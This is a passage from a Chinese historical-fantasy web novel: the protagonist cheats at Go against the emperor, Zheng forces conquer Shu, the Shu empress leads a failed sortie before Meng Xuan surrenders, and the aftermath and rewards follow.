想当初,在邺城那会儿时,贾建和孙芝关系还不赖呢,他们联起手来想欺负冯延和那个已经忘了名字并且不知死哪的东昌知府。谁能想到才过去了不到十年时间,大家又成了逢年过节都会互相送礼问候的好朋友捏? 贾建还是太会做人了,全大郑就三个府尹,一个长安、一个洛阳、一个开封,能平稳从大周过渡到大郑还屹立不倒,确实不容易。 而且他还有个人狠话不多、青出于蓝胜于蓝的好儿子。说实在的,洛阳贾家,也是一门人物。 老文今天不知道又抽了什么疯,非要跑到自己家来看腰果。凌晨倒是无所谓,但青柠还是不免有些拘谨,立在凌晨身旁满眼担忧的望着老文怀里的腰果,生怕她一帘瀑布滋陛下脸上。 “哎~哎呦,腰果真乖~叫,叫皇爷爷,你看,皇爷爷给你带了什么?” 老文左手抱着腰果,右手拿着一根通体亮白的玉如意,伸在腰果面前逗她,等到腰果停止嗦手伸着去抓后,他又故意拿起来不让她碰到,看的凌晨直冒黑血。 这老登把我大闺女当猫逗呢?真想给他脑袋来上一棒子,再来一句“傻逼你不配”。 眼不见心不烦,凌晨干脆看向花园里,望着文瑶和青樱手拉手弯腰嗅花、文鸯立在一边面色纠结的看着太子妃手握铁锹当着主人家的面横刀夺爱。 这已经算是明抢了,只见她挽起袖子,露出洁白的藕臂,还用脚踩着锹边用力入土。谁能想到堂堂大郑太子妃会跑到别人家里亲自下场挖牡丹啊…… 挖的还是只有寥寥数朵的黑牡丹,这也得亏她没要株绿色的牡丹。 “哇——” 腰果半天抓不到眼前的如意,顿时嘴角一瘪,放声大哭起来。老文慌忙将如意递到她手里,谁知她气性贼大,手脚并用的乱甩着丢开,哇哇大哭挣扎着要找青柠抱。 青柠连忙走到老文身边,从他手里把腰果接过来抱在怀里轻轻摇晃着哄,又对老文说道:“孩子不懂事,陛下勿怪…” “怪个毛,是陛下故意戏耍才弄哭咱女儿的好吧?” 还不等老文回答,凌晨就先开口了。 青柠用眼神警告凌晨,凌晨这才闭上嘴,不屑的止住了抱怨。随后她便歉意的朝着老文微微道福,抱着腰果离开了亭子。 人在尴尬的时候总会做些奇怪的事、说些没头脑的话,刚刚干完坏事的老文不着痕迹的捋了捋胡须,向凌晨开口问道: “你家中可有围棋?” “有的陛下,有的,但是您问这个干什么呢?” 老文闻言呵呵一笑:“去取来,老夫与你杀一盘。” 杀个鬼啊,满园花开正艳,我特么不好好欣赏,跟你一个糟老头子下围棋?我有病啊? “陛下,下棋废脑细胞,你歇歇,也放过我。不如随我一起闲看庭前花开花落,漫随天外云卷云舒,享受这安闲的宁静要紧。” “这是旨意。” 草…… 解二低着头小心翼翼的端来松木棋盘,恭恭敬敬的放在石桌上,又将两个散发着淡淡竹子气味的棋盆分别放在凌晨和老文身边。 凌晨坐正身子,吊儿郎当的抖着脑袋和上半身以及右腿,目光灼灼的打量着老文。 老文很有风度的用左手揽起右腕衣袖,食指和中指捏住一颗黑子,率先落下。 抱位长。 求位跳。 天魔大化! 天地大同!! 棋盘无亲疏,老文更是用尽全力围堵凌晨的白子。面对比自己多吃了四十年咸盐的皇帝陛下,凌晨手心微微有些冒汗,因为他发现对方的棋力远在自己之上! 老实说,凌晨的围棋技术还是可以的,当年能连胜不事生产、专门研究茶棋花经的度厄,就足以证明。 而现在,他竟然有点抵挡不住! 这就是天选之人吗?无论在哪一个领域都有着极强的领悟能力和建树,只要去做,就一定能做到别人再怎么努力也达不到的优秀、甚至是极致?? 数次突围依旧不得破,让凌晨越来越心烦意乱,只能眼睁睁的看着自己的白子被大把大把的吃掉,这一刻,凌晨终于有点能理解当年度厄的感受了。 再这样下去自己必败无疑。 敲!有时候,赢棋不一定要在棋盘内嘛…… 举起棋盘砸皇帝的脑袋倒还不至于,但是学学佛家大师,一不小心摔在棋盘上还是…… “噔噔噔~” 就在凌晨摸着下巴思索该如何耍赖时,月门外走进来三个人,两个御林金卫带着一个风尘仆仆的军驿来到了庭院门口的檐廊下。 何关立刻握着刀柄走上前去,和他们说了两句,又从军驿手中接过来一个防水的铜筒,拆开检查后,从里面拿出了一封书信。 挥手叫御林金卫带着来人下去休息后,何关表情有些凝重的快步绕过碎石小径,踩着青苔石阶进入了凉亭里,双手将书信递给老文。 老文眼睛盯着棋盘,沉眉思索着,又一心二用的抬起右手。何关会意,立刻将信封撕开,从里面取出信件放到了老文的手中。 老文依旧在盯着棋盘看,看了一会后,将目光移到了信纸上。 凌晨趁机连忙落下一颗白子,顺带不着痕迹的摸走了一颗他的黑子。一子错,局势瞬间攻守易形,无论老文下一步下在哪里,这十三颗黑子都将被自己毫不留情的吃掉。 老文很快就读完了信,面色平静的随手递给何关后,又重新将目光挪回棋盘上,然后一愣。 “你刚才……落哪里了?” 凌晨心虚的指着棋盘面不改色的说道:“这儿~” 老文啧了啧嘴,灰白的胡子也跟着微动,眼中不禁露出一丝疑惑来:“朕明明记得此处已经去气,怎么一转眼……” “许…是陛下记错了吧?” 老文脑袋不动,眸子微抬看了一眼凌晨,露出一副了然于胸的笑容,凌晨仰头看向亭子顶上的梁柱,撅着嘴吹起了口哨:“嘘嘘嘘~~” 反正这里又没有监控,也没有观棋人,你能奈我何? 老文重重的哼了一口气后,无奈的拾起一颗黑子,继续争锋。 又多活了一会, 但还是没干过他。 做弊都没赢,让凌晨更生气了。 “不下了不下了!陛下,你这不纯纯欺负人吗?我棋艺生疏,哪里是你的对手?你应该去找杜相这样势均力敌的人下才是~” 赢了后的老文喜笑颜开,哈哈大笑着抚摸自己的胡须,略带得意的调侃道: “扬善可没有你脸皮厚,趁人不备偷挪棋子~” 被戳穿后的凌晨瞬间红温了,可偏偏眼前人还揍不得,他握了半天的拳,最终只能又羞又恼的小幅快速捶桌:“唉咦!!” “哈哈哈哈哈~” 老文在笑,凌晨在闹,湛蓝的天空中飘过棉花糖般的洁白云朵,野草在风里晃,一白一黑的蝴蝶在花间彼此追逐着,飞向远方。 “陛下,刚才是谁写给你的信啊?” “你猜猜~” “剑阁?” 抿了一口温茶的老文缓缓放下茶杯,望着阳光明媚、晴空万里的庭院,点着头微笑道: “是,种衡界大破孟贼,剑阁已破。” 文训说出这句话的时候,看不出一丝的情绪波动,目光中只有对满园洛阳牡丹花色盛开的欣赏。再联想到刚才他看完信后还能心平气和、仿若无事发生的跟自己下棋,凌晨不禁有些微愣。 这么些年了,文训从来没有看透过他,他也同样没有看透过这位生死与共的忘年之交。 那特么是剑阁啊! 剑阁破,就意味着早已疲惫不堪、财力透支、民生凋敝的西川失去了最后的倚仗。正面交战,无论是兵力还是后勤还是作战能力,蜀军都不是郑军的对手,很快就会纳入大郑的版图。 要知道,这次的北路军,可是集合了江淮、河北、中原、晋阳、关中各地的精锐兵马。 哪怕是将整个天府之国都收入囊中,都不能让他产生情绪波动吗?? 凌晨真有点佩服老文了,从心底生出一股敬意来。 但是下一刻,老登就给他拉了坨大的。 只见老文缓缓起身走出亭外,一副高深莫测、云淡风轻的样子,可惜下台阶时,脚上踩着的凌晨新推荐的“望云老布鞋”掉了都没发现,光脚踩在了错落间隔的地砖上。 切~~ 凌晨翻了个白眼,不屑的将手中的棋子往棋盆里一丢,拍着手走下台阶将老布鞋提起来,高高举起朝着老文的背影大喊道: “陛下,你的节操掉了~” —— 当剑阁已破,种平率领郑军攻下涪城和利州的消息传进成都,孟玄的心态彻底崩了。 大舅哥徐守敬宁死不降,被种平无奈斩杀,他手下的六万大军败退溃散,军心已经彻底废了,败兵并没有想办法回到成都,而是各自散开归乡回家,大家都知道,孟家完了。 最终,逃回成都的败兵不足六千…… 福无双至,祸不单行。 东路的刘永康跟黄旭,率领四万蜀军和邵之祁在永安——奉节一线展开激战。尽管刘永康使出了全力,也多次击退邵之祁,可他没有能够匹敌的水军,对方随时都能撤退休整后再来,双方陷入了相持不下的僵局。 但时间站在邵之祁这边,他甚至都不需要赢,只要把刘永康拖死在奉节的江川山岭中,为种平攻取成都赢得时间,这就够了。 蜀地有将近一半的太守、知府、知县都望风而降,没办法呀!郑军势大,孟玄又抽调不出兵力来救援,负隅顽抗没有任何意义。 他们拿什么去抵挡那些虎狼似虎的郑军?靠那些只会吃拿卡要的衙役和皂吏吗?先前的民众叛乱早已将府库掏空,男丁也大幅锐减,现在连种地都没人,哪还能征过来打仗呢? 再说了,从眼下的局势来看,大蜀明显已经要完了,早降早享受。 已经投降了的地方官员军将,甚至盼望着种平赶紧攻破成都生擒孟玄,这样他们就高枕无忧了,不用担心事情万一有了变故被孟玄秋后算账。 平民百姓早就对孟玄失望透顶了,要不然先前也不会声势浩大的造反。如今,不恨他已经是大家能够做到的极限,很少有人发声为他鸣不平。 大势所趋,人心所向。 北路郑军一路过关斩将,马不停蹄的驰骋在天府平原上,所到之处尽皆开城纳降。种平仍令当地官员衙吏、豪族士绅治理地方,安慰他们一切照旧。 六月二十九,郑军兵临城下,将成都这座千年古城里三层外三层的围了个水泄不通。 孟玄亲自登上城楼,望着底下密密麻麻的郑军,心情复杂至极。 满腹的苦衷,不知说与谁听。 四代基业,六十五年大蜀,在自己手中败的如此彻底、如此干净,年前……甚至两个月前还感觉很遥远的郑军,竟然这么快就出现在了自己面前,跟梦境一样不真实。 望着他们身上的铠甲、手中的刀枪、飘扬的旗帜和冷漠的眼神,孟玄感到一阵深深的无力和沮丧。 马上就要被迫线下面基了,不知道文训会怎么处置自己,还会让自己活着吗? 怕是很难了…… “唉……” 就在孟玄立在城头做着强烈的思想斗争,思考是要挣扎一下还是乖乖投降时,徐皇后带着两名女子登上城楼,朝着孟玄走了过来。 但这次与以往任何时候都不同,她没有穿那身柔弱华贵的皇后服装,而是一身红衣铠甲,脚踩军靴,手提轻剑。她身后的那两名女子也是一身戎装。 徐家,可是将门。 第191章 柔颜剑心 学就西川八阵图,鸳鸯袖里握兵符。 由来巾帼甘心受,何必将军是丈夫。 —— 素颜的徐守心眸子明亮,瞳孔与眼白黑白分明,眼神很有灵气,与平时的端庄大方完全不同,多了一份英锐之气。 褪去红妆后,胸甲泛着寒光,洁白修长的脖颈裹着红巾,臂肘上衬了圆铜片,手腕上束着细长密集的软甲,腰间护心镜和身上的鱼鳞甲都被一根牛皮小带束着。 头发束成高马尾,被一根红巾扎起,落下来两条随风飘扬的丝带,手中握着两指宽的细剑,剑柄上挂着的淡黄色穗带微微摇晃。 孟玄看着她这身打扮,不禁有些疑惑:“心儿,你这是做什么?” 徐守心靠近城垛后,向着下方望了一眼,美目中闪烁着冷冽的寒光。 “陛下,贼众势大,我们只有一万兵马,就算是将民夫、衙役、奴仆都驱上城墙,怕也是杯水车薪。” 孟玄听到她这么说,也忘记了心底的疑惑,叹着气说道:“是啊……原本宽大延绵的城墙,如今却因兵少将寡,反而成了累赘。敌兵太多了……” 徐守心咬了咬下嘴唇,看着孟玄说道:“既然守不住,那我们干脆就不守了!” 孟玄闻言一愣,抬头看向皇后,不明白她是什么意思。 “为今之计,只有点齐精锐兵马,突入贼兵中军,生擒种平!只要抓住或者袭杀了他,贼军群龙无首,必能大胜退敌。除此之外,我们没有别的办法。” 孟玄第一次见到柔弱的妻子居然还有如此刚硬的一面,从小到大,她在自己面前都是柔柔弱弱的,怎么…… “其实……朕想的是,要不就降了吧。我们已经没有机会了,又何必再让家乡生灵涂炭……” “陛下!!” 徐守心厉声打断了孟玄的话,皱着眉黛娇喝道: “你是大蜀的皇帝!父祖将基业交付到你手中,岂可轻易拱手让与他人?臣妾所言正是为了成都百姓考虑,守城会白白牺牲百姓,投降会成为砧板上的鱼肉,唯有率军一战!胜则存续,败,亦叫贼人不敢小觑我西川!” 孟玄转身扶着墙垛,望着城下的郑军,又陷入了纠结之中。 徐守心见状,有些失望的低下了头,随即好像想到了什么,抬眸望了孟玄一眼,缓缓的离开了。 待孟玄看不见后,她立刻加快了脚步,“噔噔噔”的下了城墙,来到了地面。 看着立在城门口的蜀军将士们,徐守心在他们的脸上一一扫过,又低下头走到自己的宝驹旁,像是下定了什么决心一般,拽着马鞍跨了上去。 勒着缰绳转向这些士兵后,徐守心立在马上用双手抱拳,以军礼向他们行礼。 “将士们!敌人已经打到城外了,大蜀到了生死存亡的关键时刻! 我不想再说什么鼓舞人心的话,也不想叫大家白白去送了性命,敌人是我们的六倍之多,而且都是郑国征战四方的骁勇精锐。” 说着说着,徐守心有些哽咽,一双美眸明显红了。 “可我生在这里,长在这里,我是先帝钦定的大蜀皇后!若要未发一矢就将成都拱手让予他人,我做不到! 你们有妻儿父母要照顾,我能理解,也不会怨你们。哪怕只有我一个人,我也要出城去!无论成败如何,我都要为生我养我的大蜀而战!” 这些蜀军将士听完徐守心的话后,有的面露愧疚之色,低下了头颅;有的满眼热泪,伸手去抹眼睛;有的目光怜悯、望着她瘦弱的身影,握紧了手中的钢刀。 “小人愿意追随娘娘,与郑狗决一死战!!” “末将也愿往!!” “跟他们拼了!大不了就是一死!!” 徐守心望着眼前乌泱泱一大片,挥舞着手中武器喧闹叫嚷的将士们,吸了吸鼻子,娇声问道:“你们愿意随我出城,将侵略我们家园的敌人杀个片甲不留吗?!” “愿意!!愿意!!” “你们愿意保卫我们的房舍宅院不被毁烧、妻子儿女不被伤害吗?!” “愿意!!愿意!!” 徐守心努了努嘴,从腰间拔出了她的佩剑,将剑鞘扔在了地上。 “从现在起,我不再是皇后了,而是你们的将军!你们的同袍!你们中的一份子!!” “娘娘……呜呜呜……” “啊……啊啊……” 蜀军将士们望着徐守心瘦弱坚定的身影,个个声泪俱下,哽咽的说不出话来,有的甚至放声痛哭。 “开城!!” 随着厚重的城门被一群壮硕的士兵们打开后。徐守心一马当先,率领着自己两名女兵冲了出去! 但很快,她们就被后面追赶上来的数员蜀军战将给超越了。天底下从来就没有让女人冲在前面的道理,从来没有!! “杀——!!” 立在中军伞盖下的种平,望着这群突然出城、杀气冲天的蜀军,整个人都懵了。 剑阁被破,沿途州府都望风而降,这都推到水晶了,对方不应该是乖乖投降或者缩在城里当乌龟吗?怎么还冲出来了?? 而且怎么感觉……这支蜀军的士气比自己还强盛??到底是谁在攻谁啊? 行吧,既然要战,那就来吧!! 他拔出腰间的长剑,走出伞盖站在战车上,挥剑指向直奔自己而来的蜀军。 下一刻,郑军各路将领手持武器,飞马而出!无数军卒手持盾牌、扬着钢刀、举起长枪,扛着旗帜,以同样凶猛的气势冲了上去!! 城头上的孟玄只看到两团乌云撞在了一起,紧接着血肉横飞!! 所有人都小瞧了徐守心,一介弱女子,竟然在乱军之中接连刺下三四员郑军骑兵,并且在蜀军将士的保护下,渐渐朝着种平所在的方向靠近。 和郑军硬拼必败无疑,唯一的机会就是抓住或者干掉郑军的最高指挥官,只有这样才有可能力挽狂澜、扭转大局。 乱军之中,种平也注意到了她英武飒爽的身影,不禁生出浓浓的疑惑:这女子是谁?怎么这么猛?? 眼见这群不要命的蜀军离这里越来越近了,立在种平车驾旁的刘廷让架着马肚子上前,扭头看了一眼种平。 种平也冷下脸来,朝着他点了点头。 刘廷让扭过头来,冷眼看向一身红甲、在郑军之中左突右冲、造成巨大伤亡的徐守心。 下一刻,望云军在他的带领下,从中军阵中冲了出去,直奔徐守心! 这帮蜀军真的挺硬,竟然让汇聚了天下精锐的北路军隐隐有些阻挡不住,但随着望云军的加入,形势又发生了变化。 他们要面对的,是骑在可汗亲卫马背上的巴弓。 随着身边越来越多的蜀军将士跌落马下,徐守心也看到了这群装备、衣着、武器和气势都与其他郑军完全不同的部队,蜀军拼尽全力也不是他们的对手,被他们反冲了回来,并且为首的那员将领力大势沉,一刀就将一名蜀军步卒连人带盾劈成了两半!! “娘娘……快走!!” “我等挡住贼兵,娘娘快回城去!!” 原本还觉得有些无聊的刘廷让在听到蜀军将士的喊叫后,瞬间精神了!! 娘娘?? 大鱼!! 朝着空中挥了挥大刀后,望云军将士立刻会意,脱离激战区,一路砍杀射倒阻挡他们的蜀军,从人员不太密集的两侧迅速向城门奔去,最终赶在徐守心退入城中前,将她的归路阻断。 双方从早上杀到黄昏,中间都不带停歇的,这次一共跟着出来了七千多名蜀军,除了最后逃掉了十几个外,剩下的人没有一个投降的,硬拼到了最后一刻! 夕阳正斜,山河欲晚。 满地尸首堆积在锦官城外,鲜血将黄土和青草尽皆浸染红透,浓浓的血腥味飘荡在空气中,四周安静的出奇,连鸟儿都不敢飞近,虫儿都不敢鸣叫。 虽然打赢了,可种平一点都高兴不起来,肺都快要气炸了!! 一路顺风顺水的打到这里,本来以为稳了,没想到在这最后关头,竟然死伤了近万人!!! 他从车驾上怒气冲冲的跳下来,跨上马匹,在亲卫们的保护下策马赶到了被望云军包围住的徐守心面前。 徐守心的衣甲已经被鲜血染透,脸上也全是血迹,干涸的和刚溅上去的都有,嘴唇已经发白,有些开裂,微微喘着气,口干的不住抿嘴吞咽。 她手中的剑已经被刘廷让砍成了断剑,只剩下一半。 随着最后一名蜀军将领被望云军一箭穿喉,她的身边就只剩下一名女兵了。 另外一位,刚才在乱军中已经香消玉殒。 种平生气的拨开挡在前面的望云军士兵,径直来到了徐守心面前,她的那名女侍卫立刻双手举剑挡在了面前。 种平看了一眼那名女侍卫后,又将目光移向徐守心。 “你究竟是何人?!” 徐守心并没有立刻回答他,而是将手中的断剑抬到眼前,目光呆滞的观察了一遍上面的断痕和缺口后,叹着气随手丢在了地上。 “本宫大蜀皇后,徐守心。” 原本怒容满面的种平在听到这句话后,明显一愣,紧接着便面色复杂了起来。 “你们成都徐家……唉……” 紧接着,还不等徐守心开口,种平自己先叹起气来—— “唉!令兄……也是如你这般有气节,宁死不降。我本想将他押往汴京,交由陛下发落,可他一心求死,对我说,若不成全了他,他宁可咬舌自尽、绝食明志。万般无奈之下,我只能全了他的名节。” 徐守心听到这话,心中悲伤,只能淡淡的回一句:“各为其主,说来还要多谢阁下。” “娘娘,叫你的婢女放下武器吧,在下及手下将士,绝不会失礼。” 那女侍卫闻言毫无动容,只是扭头看了一眼徐守心。 徐守心按住她的肩膀,将她手中的剑拿到自己手中,深吸了一口气后,对着种平说道:“她是无辜的,放过她。” 顿了顿后,徐守心又换上了另一副口吻:“本宫是大蜀的皇后,国在人在,城破人陨。种府尹,还望您能像对待家兄那样对待本宫,徐家世代忠于大蜀,无论男女,都一样!” 说罢,她握紧手中的剑,银牙紧咬,就要上前,面前的望云军将士们也纷纷举起了手中的长刀。 下一刻,徐守心的肩膀上突然出现了一只手,她的那名女侍卫一把将她扯倒在地上,趁着她失重不稳之际夺过利剑,毫不畏惧的冲向种平!! 徐守心惊慌的焦急大喊:“翩然!!” 她的心中猛然一突,只看到一柄长刀从翩然的后腰直挺挺的刺了出来,刀尖上的血水顺着锋刃滑落。翩然握着剑的手被一名望云军士卒紧紧攥住,身子僵直。 “啪嗒!” 剑掉在地上,人瘫软后仰。 徐守心不愿相信眼前的这一切,拼命摇着头,哭着爬到翩然的身边,费力的将她拖起来,搂着脖子抱在自己怀中,毫无形象的跪坐在血泥地中,泪珠大颗大颗滴落,颤抖着用手去捂住她腹部血流不止的大洞。 “小……小姐……” “你这是干什么呀!!这是我的事!你该好好活下去的……你……呜呜呜……” 面色渐渐苍白,嘴角呛血的翩然用力抓住徐守心的胳膊,艰难的说道: “奴婢…识字不多,却……咳咳……却也知道主忧臣辱,主……主辱臣死的道理。小姐,算了吧……活……活…下去……” 紧攥着胳膊的素手,渐渐没了力气,松开后无力的垂落。 徐守心万念俱灰,流着泪紧闭双眼,扬起脸望向天空,仰天长啸—— “啊——!!” 包围着她的郑军将士纷纷在心中叹气,那名捅死翩然的望云军将士更是皱眉不语,有些厌倦了。 但他并不后悔刚才的举动,如果再来一次,他还是会做出同样的选择。 因为这是战争。 “隆隆……” 成都城门大开,孟玄领着一大群文武百官,摘去冠冕,脱去鞋子,踩着满地血水,跨过这些忠勇英魂的尸身,来到了包围圈外围。 那股强大的上位者气息和无所畏惧的目光,竟然迫使着杀红了眼的郑军纷纷给他让开道路。 孟玄面色平静的走到徐守心身边,拉住她的胳膊将她搂着站了起来,皱着眉看了一眼地上的翩然后,将泪流满面的徐守心抱进了自己怀里,而后看向种平。 “西川……愿降。” 第192章 千百相 从汉中出兵,到攻下成都,种平一共花了52天。 所以如果一个女孩在你的猛烈追求和明确示爱下,超过两个月依旧表示自己是慢热型,还没有想好要不要跟你在一起的时候。 请放过彼此,让花成花,让树成树。 但攻下成都,并不意味着得到西川。 因为刘永康和黄旭依旧在奉节——永安一线带领着四万人马和邵之祁上演野区争夺战。投降后的孟玄很乖,立刻就修书遣人送往永安防御使大营,让刘永康和黄旭投降。 什么?你等正欲死战? 拉倒吧,朕的大蜀已经亡了。 刘永康在拿到诏书的那一刻,什么也没说,只是叫蜀军放下武器,遵照王命向邵之祁投降。 他一言不发的回到自己的大帐,等到黄旭归营后进帐报告时,他已经倒在了血泊中,拔剑自刎了。 这个人实在没什么可说的,平平无奇的履历,普普通通的出身。他甚至都不是西川治下州府的人,而是来自牂牁蛮地区,在当下的蜀国,属于外族雇佣军的范畴。 但为了不辜负孟玄的知遇之恩和信任,他任劳任怨,辛苦奔走。即便形势不利、即便没有水军、即便对方是大郑各地精锐组建起来的强大对手,他也从来没有想过放弃和退缩。 最后,他用自己的生命去践行了出发时对孟玄、对蜀国百姓立下的誓言。 邵之祁一脸得意的策马踏进蜀军大营,将马鞭随手丢给恭敬等待的黄旭,轻蔑的看了他一眼后,拍着手问道:“刘永康呢?怎么不见他出来迎我?” 黄旭忍着悲痛答道:“将军恕罪,刘大人……自刎谢主了……” 听到这句话的邵之祁瞬间愣住了,立在原地一动不动,被这则消息硬控了好久。 其实他心里是很佩服刘永康的,人生能遇到兴趣相投的知己,是令人喜悦的;能遇到棋逢对手的敌人,是足以狂喜的!双方不仅在彼此伤害,同时也在彼此成就。 蒙哥马利和隆美尔、慈父和落榜美术生、刘邦和项羽等等等等~~ 邵之祁原本是想用言语逗逗刘永康,然后再向陛下举荐这位难得的人才,让他能够用自己的才能为大郑效力。 可他没想到居然是这样的结果。 胜利的喜悦瞬间清零,留下的只有无尽的空落和遗憾。 漫天纸钱随风飘散,有的落在草丛,有的落在水面,蜀军降卒哀恸齐哭。 邵之祁亲自披麻戴孝,与黄旭站在最前方,二人合力抬着一根棺棍,一手握住肩膀上的棺棍,另一只手扶着刘永康的灵柩,神情严肃的来到长江水畔。 江面上是排列整齐的大郑水师战船,甲板上的将士们庄严肃穆的立在船边,军容齐整,静谧无声。 “呜——” 牛角号声悠悠响起,马儿不安抬蹄刨土,邵之祁和黄旭、还有四名刘永康的心腹偏将一起下水,小心翼翼的在齐腰深的江水中把灵柩放在堆满柴火的木筏上。 黄旭深深的叹了一口气,抹了一把眼睛后,从手下那里接过火把,带着哭腔大声喊道:“恭送大人!大人一路走好!” 江岸边的、战船上的将帅士卒们,在这一刻,不分阵营和籍贯,齐齐跟着黄旭喊道:“大人一路走好!!” 邵之祁泡在水里,拱手抱拳,目光复杂的望着被黄旭亲手点燃的筏子渐渐飘向江中,深深的躬腰作揖。 蜀军军营里,刘永康生前的那匹坐骑,不安的挣扎着缰绳,嘶鸣不止。 数千年来,神州大地上的每个地方,都会不断的涌现出令人肃然起敬的忠勇之士,他们的信念不会因为任何事物而发生改变,哪怕是失去生命,也要一诺必践。 在他们心中,一就是一,二就是二,不会变通,也不屑变通,就是这么的纯粹、彻底。 当然了,有阳光就会有阴影,有清明就会有污浊。 孟蜀宰相李翰,承接了一份不太光荣但又十分艰巨的任务——代表蜀国和孟玄向大郑起草降表。 本来这是一件很普通的事情,打了败仗亡了社稷,总要有个人向胜利者写检讨书,承认自己的错误、祈求人家的原谅。 不能让孟玄写,那样就太欺负人了,蜀国百姓是不能接受的。虽然他确实不是个东西,但好歹也代表着我们的面子。 你敢让他写,你看我们反不反就完了。驻扎在蜀地的郑军才十几万人,生活在蜀地百姓可不止百万!不争馒头还争口气呢! 但你也不能随便从哪个犄角旮旯里拉出个小卡拉米来让他写,大郑皇帝的脸面同样很重要,失败者就要有失败者的觉悟。 否则,我怎么管其他人? 所以,需要一个不是孟玄、但地位名望却跟他差不了多少、最起码得有排面的人来写,才能让双方都满意。 通常情况下,承接这个任务的人,要比其他亡国之人承受更多的心理压力和精神折磨,是为大家做事的抱薪者,应该受到尊重和理解。 但李翰……稍微有那么点不同。 当他的降表修出来后,先在成都召开了新闻发布会,而后又发往汴京。 但是里面用的词藻…… 怎么说呢,文训看了应该都会脸红和不好意思吧,太肉麻了!跟一路滑跪过来抱住他的大腿,对着他的望云足力健一顿猛舔没有区别。 这也还则罢了! 关键是,当年孟玄的太爷爷还是王氏蜀国的大将时,也是李翰的爷爷替王家起草降表,向大周太祖的冰冷刀锋低头的…… 愤怒的成都百姓并不敢把李翰怎么样,因为种平派了郑军保护他。但一肚子气总要发泄出来的,不然憋在心里容易长痘和失眠。 所以他们趁着夜里偷偷摸到李翰家院墙外,把烂菜叶子臭鸡蛋、茅坑里新掏出来的天然化肥一股脑的泼满了墙壁。 哦,有一块地方没泼,因为那里有一名秀才用笤帚沾满墨水、饱含情感书写上去的六个大字—— “世修降表李家”。 屎尿和墨水对于百姓和秀才来说还是有点珍贵的,但他们能毫不吝啬的送给李宰执,可见心里有多么在意他。 李大人六十多的年纪了,大半夜被熏的睡不着觉,清早好不容易睡着,等到醒来出门一看,直接气的又睡了过去。 种平对比也无能为力,堵不如疏,爱泼就泼去吧,唉~不要伤了李翰性命就行。 “种平,去长安府尹,改任成都府尹。授上柱国,封蓝田郡公,节制西川诸路马步水军。兵部新置西南行营,着任西南行营都部署。” “邵之祁,授上护军,封陈留侯,任大郑荆襄水师都督,即日起携水师东下驻扎江陵,节制荆襄诸路兵马。” “刘廷让,封望云伯,赐金千两,缎五千匹,旨意到日,望云军回驻汴京。” 所有参与平蜀的将士、官员和有功士绅、百姓尽皆封赏。 “蜀将徐守敬,追新津侯;蜀将刘永康,追永安侯。” 真正的封赏完了,就该名义上的了。蜀主孟玄被汴京中书省封了个益州牧、太子少师的名头,不过也不用辛苦他替皇帝放牧蜀地百姓。蜀国皇室全体成员、包括徐守心在内的所有人都在望云军的护送下前往汴京居住。 文训早在几年前就给他造好房子了,免费的,不用还贷款,也不用交物业费,一切费用都由大郑户部衙门报销。这里交通便利,环境优美,安保程度更是仅次于皇宫。 当然了,他家隔壁还空着一座院子,正在等待着一位来自江南的有缘人。 正面战场结束了,可零星的叛乱和麻烦肯定还要持续一段时间,这一切就交给种平去磨合了,西川局势已定,不会再有大的问题。 此次伐蜀能够在极短的时间内取得圆满成功,除了西川自我内耗严重、百姓士绅需要统一的稳定环境、郑军将士作战英勇、细作卧底数年来奔走经营、朝廷和地方齐心协力等客观因素外,望云军的神兵天降同样也有着举足轻重的战略影响。 剑阁之战后,望云军那令人匪夷所思的空中投送、无视关隘、以一挡百的作战能力也渐渐被世人知晓。 大郑帝国最锋利的剑,没有之一。 但只有真正处在权力顶峰的那几个人才明白—— 望云军不是,他才是。 而且,他手里可不止望云护庄队这一支武装。 尽管护庄队很神秘,但还有一支人马更加籍籍无名,所属成员同样来自旧年的颍川府。 仔细回想这些年来围绕着汴京发生过的重大军事和政治事件,就会发现这支人马其实一直活跃在世人眼中,只是很容易被忽略。 迄今为止,没有人知道他们已经发展到什么地步了。 但有一点可以肯定,绝对不会比望云军差。 因为熟悉他的人都知道,他敢将降落伞和热气球拿出来,就不怕被人模仿,一定有反制或者控制的手段。 看起来与伐蜀之战毫无关联,甚至连发展扩大会议都没有来开过的临颍侯凌晨,被文训加封为临颍郡公。 神奇的是,没有人对这则消息感兴趣。 一个可以随意出入皇帝寝宫的人,一个数次拯救皇帝性命的人,一个不在庙堂,却对时局、地方、军队、舆论都有着巨大影响力的人,哪怕封王,也不会溅起多大的浪花。 关键是,无数次的考验已经证明,他真的只忠于陛下一人。 更让人难绷的是,他好像瞧不上任何东西,对什么都不感兴趣,做事随心所欲,全凭感觉驱使。 完全无处下嘴啊! 但这几天坊间却破天荒的有小道消息传出,说他近来总是在向周围朋友打听一个人,想了解对方喜欢吃什么、平时都有什么兴趣爱好、生辰八字是什么、讨厌哪些人或者哪些东西,最近心情怎么样。 藏在臭水沟里的反对派和阴谋家们、想要拉拢凌晨的当权者们顿时就乐了! 终于开窍了~~(黄渤揪头发) 就是说嘛!堂堂殿帅,血气方刚的年轻人,怎么能只守着一个娘子呢?总会腻的嘛~天底下哪有猫儿不馋嘴偷腥的? 快快快!快告诉我,他瞧上哪家的姑娘了?我们就算是众筹也要把她弄过来,塞到他的床上去好吧! 但是很快,所有人都傻眼了。 因为他打听的这个人,不是什么妙龄女子,更不是谁家少妇人妻,而是清泉节度使——陈瑾。 沃德发?? are you kidding me??? 这……这特么…… 你哪怕是要两位帝姬呢?我们也能给你想想办法。抛去性别不谈,陈瑾那个地头蛇远在天边,就算我们肯把官位和家财全都拱手送给他,他也不见得愿意要啊!更别说来汴京了! 唉…… 虽然获得凌晨好感度的支线任务异常离谱和艰巨,但许多人还是不得不收拾好心情,派人去南方找陈瑾,总是要试一试的嘛,万一呢? 当这则消息传到泉州时,陈瑾起初还不以为意,因为他对汴京的了解还停留明面上,攻略对象都是朝堂重臣和六部大佬。他对凌晨原本有些了解,可是听说对方不干殿帅以后,就不怎么注意了。 毕竟这山高路远的,消息也是靠人和书信传送,意思很难表达清楚。再说了,汴京的老狐狸们怎么可能对他说真话呢? 但渐渐的,他发现情况有点不太对劲了。 以前是他追着狂舔那些汴京的大佬们,希望他们能照顾照顾自己,给自己在老文面前说点好听的话之类的,但他们大多都态度一般,有些甚至还对自己爱搭不理。 可现在,整个汴京朝堂超过一般的官员权贵都派家使和幕僚到自己家里做客,给自己带礼物,嘘寒问暖的打听自己的喜好兴趣,搞的他还以为这帮人要给自己安排一门亲事呢~ 不对劲,十分有九分的不对劲。 突如其来的关心最致命,陈瑾立刻警觉了起来,每天在家中安排酒宴,挨个答谢来人。 